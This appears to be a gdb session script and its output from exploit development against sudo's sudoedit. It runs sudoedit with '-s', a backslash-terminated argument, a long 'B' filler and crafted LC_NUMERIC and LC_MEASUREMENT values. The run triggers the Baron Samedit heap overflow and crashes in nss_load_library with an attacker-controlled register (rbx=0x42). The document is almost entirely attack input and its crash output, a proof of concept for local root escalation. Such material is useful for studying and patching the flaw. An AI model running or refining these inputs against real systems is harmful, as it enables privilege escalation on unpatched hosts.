file /usr/bin/sudoedit
set env LC_NUMERIC C.UTF-8@AJMT2GrdNmEkwXug8n8dvOwo0i
set env LC_MEASUREMENT C.UTF-8@AIqOCOSAO93v6dFLTL6BVGWd8oj6LIMeiyGxKvrarmm6zmFX5JgV3Pgphqc\

set pagination off
r  -s 'AAAAA\' 'BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB'
i r
x/i $pc
q

=======
gdb: warning: Couldn't determine a path for the index cache directory.
GNU gdb (Ubuntu 9.2-0ubuntu1~20.04) 9.2
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word".
(gdb) Reading symbols from /usr/bin/sudoedit...
(No debugging symbols found in /usr/bin/sudoedit)
(gdb) (gdb) (gdb) (gdb) Starting program: /usr/bin/sudoedit -s 'AAAAA\' 'BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB'
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7e9f4ee in nss_load_library (ni=ni@entry=0x555555582980) at nsswitch.c:344
344	nsswitch.c: No such file or directory.
(gdb) rax            0x0                 0
rbx            0x42                66
rcx            0x55555558df10      93824992468752
rdx            0x55555558df30      93824992468784
rsi            0x75040e            7668750
rdi            0x555555582980      93824992422272
rbp            0x7fffffffe150      0x7fffffffe150
rsp            0x7fffffffe100      0x7fffffffe100
r8             0x55555558df20      93824992468768
r9             0x7fffffffe000      140737488347136
r10            0xffffffff          4294967295
r11            0x7ffff7f44be0      140737353370592
r12            0x555555582980      93824992422272
r13            0x7fffffffe168      140737488347496
r14            0x5555555829a8      93824992422312
r15            0x55555558df20      93824992468768
rip            0x7ffff7e9f4ee      0x7ffff7e9f4ee <nss_load_library+46>
eflags         0x10246             [ PF ZF IF RF ]
cs             0x33                51
ss             0x2b                43
ds             0x0                 0
es             0x0                 0
fs             0x0                 0
gs             0x0                 0
k0             0x0                 0
k1             0x0                 0
k2             0x0                 0
k3             0x0                 0
k4             0x0                 0
k5             0x0                 0
k6             0x0                 0
k7             0x0                 0
(gdb) => 0x7ffff7e9f4ee <nss_load_library+46>:	cmpq   $0x0,0x8(%rbx)
(gdb) A debugging session is active.

	Inferior 1 [process 1406081] will be killed.

Quit anyway? (y or n) [answered Y; input not from terminal]

